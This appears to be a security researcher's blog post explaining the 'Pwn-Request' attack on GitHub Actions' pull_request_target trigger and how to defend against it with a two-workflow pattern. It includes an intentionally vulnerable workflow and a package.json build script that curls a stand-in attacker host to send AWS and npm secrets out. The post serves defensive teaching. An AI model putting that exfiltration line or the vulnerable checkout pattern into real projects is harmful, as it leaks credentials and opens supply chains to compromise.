The "Pwn-Request": How a Single Misconfigured Setting Can Expose Your GitHub Project
A Security Researcher's Guide to Auditing CI/CD and Repository Security

Hi, I'm your friendly cybersec guy, passionate about identifying vulnerabilities in software and helping organizations improve their security posture. Throughout my career, I have always been learning new security testing/pen-testing methodologies, tools, and techniques. As a result, I stay up-to-date with the latest industry trends and best practices. Thanks for visiting my profile, and feel free to connect with me to discuss anything securely!
In the world of modern software development, GitHub Actions has become the driving force behind automation. It builds our code, runs our tests, and deploys our applications. However, this powerful engine, if misconfigured, can also become a direct line for an attacker to access the heart of your infrastructure.
A subtle yet devastating vulnerability class exists within GitHub Actions, allowing an external attacker to execute arbitrary code, steal your most sensitive secrets (such as cloud credentials and publishing tokens), and compromise your software supply chain. All they need to do is open a single, cleverly crafted pull request.
This attack is known as the "Pwn-Request," and it all centres around the misuse of one specific workflow trigger: pull_request_target. In this post, we'll dissect how this attack works, why it's so effective, and most importantly, how to defend against it.
Understanding the Battlefield: GitHub Actions and Workflows
Before we dive into the attack, let's establish the basics.
What are GitHub Actions?
GitHub Actions is a CI/CD (Continuous Integration/Continuous Deployment) platform integrated directly into your GitHub repository. It allows you to automate your software development workflows in response to events, such as a push to a branch, the creation of a new issue, or, most importantly for our discussion, the opening of a pull request.
What are Workflows?
A workflow is a configurable, automated process defined in a YAML file (e.g., .github/workflows/ci.yml). It consists of one or more "jobs," which in turn contain a series of "steps." These steps can run shell commands or utilise pre-packaged scripts known as "actions."
A simple workflow might look like this:
name: Basic CI
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
- run: npm test
This workflow triggers on any push or pull request to the main branch, checks out the code, installs dependencies, and runs tests. It's the bread and butter of automation.
The Tale of Two Triggers: pull_request vs. pull_request_target
The trigger, defined by the on: key in the workflow file, is the event that starts the automation. When dealing with pull requests, there are two primary triggers, and their differences are the crux of this entire vulnerability.
The Safe Default: pull_request
When a workflow uses the pull_request trigger, GitHub makes a critical assumption: the code in the pull request is untrusted, especially if it comes from an external fork. To protect your repository, it enforces a strict security sandbox:
Execution Context: The workflow runs in the context of the fork, not your base repository.
Secrets Access: It has NO access to your repository's encrypted secrets (e.g., AWS_ACCESS_KEY_ID, NPM_TOKEN).
Token Permissions: It receives a special GitHub token that is read-only. It cannot modify your repository by adding labels, merging branches, or writing comments.
This is a fantastic security model. It allows you to safely run tests on untrusted code without compromising your system.
The Privileged: pull_request_target
So, why would anyone use anything else? Organizations often need to automate repository management tasks in response to a PR. For example:
Automatically adding a bug or feature label.
Assigning the PR to a specific team based on the files that have changed.
Posting detailed test results as a comment on the PR.
These actions require write permissions. This is where pull_request_target comes in. It was designed specifically for these privileged use cases and behaves in the exact opposite way of pull_request:
Execution Context: The workflow runs in the context of the base repository (your trusted environment).
Secrets Access: It has FULL access to all of your repository's secrets.
Token Permissions: The GITHUB_TOKEN it receives has read/write permissions.
GitHub provides this power with the expectation that the workflow will handle it responsibly, by only interacting with PR metadata and never running the untrusted code from the PR. When this expectation is violated, the Pwn-Request is born.
The Pwn-Request Attack
The attack is a deadly combination of a high-privilege context (pull_request_target) and a standard, seemingly harmless action: checking out the PR's code to run tests.
The Vulnerable Workflow
An unsuspecting developer needs to run tests and then label the PR based on the results. They correctly identify that they need to use pull_request_target to obtain the necessary permissions to add a label. Their workflow looks like this:
# VULNERABLE WORKFLOW - DO NOT USE
name: Unsafe CI Pipeline
on:
pull_request_target: # <-- Step 1: The trigger provides a privileged context with secrets.
jobs:
build-and-label:
runs-on: ubuntu-latest
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
# <-- Step 2: The fatal mistake. Untrusted code is checked out.
ref: ${{ github.event.pull_request.head.sha }}
- name: Run build and tests
# <-- Step 3: A script from the untrusted code is executed.
run: npm run build
The Attacker's Strategy
Fork the Repository: The attacker creates a fork.
Inject the Payload: The attacker modifies a file that the CI process will execute. A typical target is the script section of the package.json file. They change the build script from a legitimate command to a malicious one designed to steal secrets.
Open the Pull Request: The attacker opens a PR from their fork to the target repository.
"scripts": {
"build": "curl https://attacker-webhook.site/secrets --data \"AWS_KEY=${AWS_ACCESS_KEY_ID}&NPM_TOKEN=${NPM_TOKEN}\""
}
The Result: Instant Compromise
The moment the PR is opened, the automation kicks in:
The pull_request_target workflow starts, running in the trusted base repository context. It loads all secrets into the runner's environment.
The actions/checkout step executes, but due to the ref parameter, it downloads the attacker's malicious code.
The npm run build step runs. Instead of building the software, it executes the attacker's malicious curl command.
The curl command reads the secrets directly from the environment and sends them to the attacker's server.
The attacker now has your cloud credentials, and your workflow may not even show a failure. They can access your cloud infrastructure, publish malicious packages under your name, and launch a devastating supply chain attack.
The Fix: A Wall of Separation
The cardinal rule to prevent this attack is simple: Never check out and execute code from a pull request within a workflow triggered by pull_request_target.
The recommended solution is to separate your concerns into two distinct workflows, creating a security boundary between untrusted code execution and privileged operations.
Workflow 1: The Untrusted Sandbox (build.yml)
This workflow utilises the safe pull request trigger. Its only job is to build and test the untrusted code in a sandboxed environment and then upload the test results as a safe, sanitized "artifact."
name: 1. Build and Test (Sandboxed)
on:
pull_request:
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read # Read-only token, no secrets access
steps:
- uses: actions/checkout@v4 # Safely checks out PR code
- run: npm install
- run: npm test -- --json --outputFile=test-results.json
- uses: actions/upload-artifact@v3
with:
name: test-results
path: test-results.json
Workflow 2: The Privileged Actor (report.yml)
This workflow is triggered only upon the successful completion of the first workflow, using the workflow_run trigger. This trigger is always safe as it runs on the default branch. It downloads the sanitized artifact and performs the privileged actions.
name: 2. Report Results (Privileged)
on:
workflow_run:
workflows: ["1. Build and Test (Sandboxed)"]
types: [completed]
jobs:
report:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
permissions:
pull-requests: write # Can write comments, but has no access to PR code
steps:
- uses: actions/download-artifact@v3
with:
name: test-results
- name: Post test results to PR
run: |
# Safe logic to parse test-results.json and post a comment
# to the original PR.
This two-workflow pattern ensures that untrusted code never enters a privileged environment, completely neutralizing the Pwn-Request threat.
Beyond the Basics: Hardening the Two-Workflow Pattern
While the two-workflow pattern is the industry-standard defense, it's not a magic shield. A determined attacker can shift their focus from direct code injection to more subtle attacks on the data passed between your workflows.
The Next Frontier: Defending Against Artifact Poisoning
The primary risk in the two-workflow model is artifact poisoning. This is an indirect injection attack where the untrusted pull_request workflow creates a malicious artifact, and the trusted workflow_run workflow executes its payload unwittingly.
To mitigate this, you must treat all artifacts as hostile, untrusted input:
Sanitize Rigorously: Always validate and sanitize artifact content before use. Check that outputs are in expected formats (e.g., a number, a simple string matching a regex) and reject anything else.
Avoid Dangerous Sinks: Never write untrusted data from an artifact directly into a dangerous "sink" like GITHUB_ENV or GITHUB_PATH. Modifying these files can lead to command execution or path hijacking in subsequent steps.
Mind the Gap: TOCTOU and Other Edge Cases
Be aware of Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities. In this scenario, an attacker opens a PR with benign code. Your pull_request workflow runs and generates a "clean" artifact. However, the attacker then quickly force-pushes a malicious commit to their PR branch before your privileged workflow_run job starts. This creates a race condition where your privileged workflow might act based on outdated, "clean" results while the PR now contains malicious code, potentially fooling a human reviewer.
Does a standard PR review prevent the "Pwn-Request" attack?
No, a standard PR review (where a human reviewer inspects the code changes before merging to the main branch) does NOT prevent a "Pwn-Request" attack via pull_request_target.
Here's a detailed breakdown of why the attack executes before human review can effectively stop it:
Why PR Review is Ineffective for pull_request_target Attacks
Attack Timing:
The pull_request_target workflow is triggered immediately when the pull request is opened (or when new commits are pushed to the PR branch, causing a synchronisation event).
The malicious payload is executed during this initial workflow run.
Human reviewers typically begin their code inspection after the PR is opened and the initial CI checks (including the pull_request_target workflow) have started or completed.
Conclusion: By the time a human reviewer even looks at the code, the attack has already happened, and your secrets could be gone.
Stealth of the Attack:
The attacker's goal is to steal secrets, not necessarily to break the build or introduce obvious errors.
A well-crafted malicious' npm run build' or' npm test' script (as in our example) can still include the original build/test commands after exfiltrating secrets.
The workflow might appear to "pass" all checks (green checkmarks), giving the reviewer a false sense of security. The only evidence might be hidden deep within the workflow logs (which few reviewers would scrutinize line by line for external PRs) or on the attacker's server.
Conclusion: The attack can be completely silent from the perspective of the PR status checks and the reviewer.
Context Misalignment:
The human reviewer is looking at the diff of the code in the PR. They are assessing the proposed changes for functionality, quality, and potential future security risks if merged.
The pull_request_target workflow, however, runs in the base repository's privileged environment and is currently executing the attacker's code.
Conclusion: The reviewer's focus is on the future state of the codebase after the merge, whereas the attack exploits the immediate execution environment before the merge.
Illustrating the Timeline:
Attacker Action: Attacker forks your repo, injects malicious code, and opens a PR.
pull_request_targetExecution: GitHub immediately triggers yourpull_request_targetworkflow.Payload Detonation: The workflow checks out the attacker's code, executes the malicious script, and secrets are exfiltrated.
Workflow Completion: The workflow finishes, possibly with a "success" status.
Human Review Initiated: A human reviewer sees the PR and starts reviewing the code changes. They see green checks (potentially even for the compromised workflow).
Review Approval/Merge (Optional): The reviewer approves, and the PR might be merged. By this point, the damage is already done.
What PR Review Can Prevent (but not the Pwn-Request):
Malicious code being merged: A good PR review can catch malicious code that an attacker intends to merge into your main branch, which would then affect everyone using your code.
Backdoors in merged code: It helps prevent persistent backdoors or vulnerabilities from being incorporated into your main codebase.
Functional bugs: It catches errors in logic, functionality, and design.
Conclusion: Trust, but Verify Your Workflows
GitHub Actions is an indispensable tool, but its power demands responsibility. The pull_request_target trigger is a valuable feature for specific, legitimate tasks, such as labelling and CLA checks, but can be extremely dangerous if misused or misconfigured.
Audit your workflows today. Search for any use of pull_request_target. If you find one, ensure it adheres to the golden rule: never check out untrusted code. By understanding and respecting the security boundaries built into GitHub Actions, you can automate with confidence and maintain the security of your code and sensitive information, including secrets.